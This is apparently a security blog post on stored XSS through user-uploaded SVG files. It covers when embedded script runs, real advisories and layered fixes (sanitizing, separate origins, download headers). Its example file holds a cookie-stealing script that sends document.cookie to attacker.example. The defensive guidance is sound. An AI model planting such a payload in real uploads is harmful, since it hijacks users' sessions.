An SVG upload is a script upload, and optimizing it is not sanitizing it
published
TL;DR
An SVG is not an image file in the sense PNG and JPEG are — it is an XML document the browser parses, and it can contain <script>, onload=, <foreignObject> and external references. Serve a user-uploaded SVG from your own origin and open it in a tab, and that script runs with your cookies. The fixes that hold are: sanitize with a real SVG sanitizer, serve uploads from a separate origin, and Content-Disposition: attachment. Checking the MIME type, renaming the file, and running an optimizer are not fixes.
The problem
A user uploads logo.svg as their avatar. Inside:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<circle cx="100" cy="100" r="90" fill="#00ff9c"/>
<script>fetch('https://attacker.example/?c='+document.cookie)</script>
</svg>
Your uploader checks that the MIME type starts with image/. It does — image/svg+xml. The file is stored, and served back from https://yourapp.example/uploads/logo.svg.
Nothing happens on the profile page: an <img src="…svg"> renders SVG in a restricted mode where script never executes. The bug lands the moment anyone opens that URL directly — the “open image in new tab” that support does five times a day, or a link in a report. Now the document is top-level on your origin, the script runs, and document.cookie is your session.
This is not theoretical. It is one of the most consistently re-reported vulnerability classes in file-upload code:
- GHSA-7jp5-298q-jg98 — Vikunja, stored XSS via unsanitized SVG attachment, leading to token exposure.
- GHSA-mc2g-mjqh-8x78 — Traccar, stored XSS via malicious SVG upload.
- GHSA-xvhc-gm7j-mhmc — Shopware, stored XSS, no SVG sanitization.
- GHSA-cvr8-cw5c-5pfw — FreeScout, stored XSS via SVG upload with a filter bypass — the interesting one, because a filter existed.
Why it happens
SVG is a full XML dialect specified by the W3C, and scripting is part of it. MDN’s SVG <script> reference is explicit: the element is exactly like HTML’s. The execution rules differ by how the SVG is loaded, which is what makes this confusing:
| How the SVG is loaded | Script runs? |
|---|---|
<img src="x.svg"> | No — images load in a restricted, non-scripting mode |
background-image: url(x.svg) in CSS | No — same restricted mode |
Navigating directly to /uploads/x.svg | Yes — it is a document on your origin |
<object> / <embed> / <iframe src="x.svg"> | Yes |
Inlined into the DOM (innerHTML, a React dangerouslySetInnerHTML, a server-side template) | Yes |
So “it renders fine in our avatar component” tells you nothing about the URL being safe. And the last row is the one that catches teams who thought they were only using <img>: inlining SVG is the standard trick for recoloring an icon with CSS.
The attack surface is also wider than <script>. Event handlers (onload, onmouseover), <foreignObject> carrying real HTML, <animate> with attributeName="href", xlink:href="javascript:…" in older parsers, and external references that phone home on render. A denylist that greps for <script catches the first line of the first tutorial and nothing after it.
What to do
Three layers. The first is the one that actually matters; the other two decide how bad a miss is.
1. Sanitize with a library that understands SVG. Not a regex, not “strip <script>”. On the server, enshrined/svg-sanitize (PHP) or a DOM-based pass with DOMPurify in SVG mode:
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const DOMPurify = createDOMPurify(new JSDOM('').window);
export function sanitizeSvg(svgText) {
return DOMPurify.sanitize(svgText, {
USE_PROFILES: { svg: true, svgFilters: true },
// Belt and braces: these are the elements that carry executable or
// externally-fetching content even when <script> is already gone.
FORBID_TAGS: ['script', 'foreignObject', 'use', 'animate', 'set'],
FORBID_ATTR: ['xlink:href', 'href'],
});
}
Store the sanitized output, not the original. If you keep the original anywhere reachable over HTTP, you have kept the bug.
2. Serve user uploads from a different origin. uploads.yourapp.example, or a bucket domain — anything that does not share cookies with the app. Then a script that survives sanitization executes in a context with nothing to steal. This is the layer that turns a critical into a nuisance, and it is worth doing even when you are confident in layer 1.
3. Force download instead of render, when the file never needs to display in a browser tab:
Content-Disposition: attachment; filename="logo.svg"
Content-Type: image/svg+xml
Content-Security-Policy: default-src 'none'; sandbox
X-Content-Type-Options: nosniff
Content-Disposition: attachment means navigating to the URL downloads the file instead of parsing it as a document. Combined with a default-src 'none' CSP on the upload path, direct navigation stops being an execution vector.
Caveats
- An optimizer is not a sanitizer. SVGO-style tools shrink paths, merge groups and drop metadata. They are not a security boundary, and their defaults will happily preserve an
onloadattribute because removing it would change rendering. If a tool’s docs do not use the word “sanitize”, assume it does not. Content-Typechecks prove nothing. The attacker chooses the file;image/svg+xmlis the honest MIME type for a malicious SVG. Magic-byte sniffing does not help either, since SVG has no magic bytes — it is text.- Renaming to
.pngdoes not help if you also serve the original bytes, andX-Content-Type-Options: nosniffis what stops the browser from second-guessing you in the other direction. - Rasterizing removes the problem and the point. Converting to PNG at upload does end the discussion — but you lose the scaling that was the reason to accept SVG. Reasonable for avatars, wrong for a logo in a design system.
- SVG is XML, so the XML problems come with it — notably entity expansion (billion laughs) against whatever parses the file server-side. Disable DTD processing in your parser.
- Sanitized once, not sanitized forever. If you re-serialize the file later with another library, re-sanitize on the way out.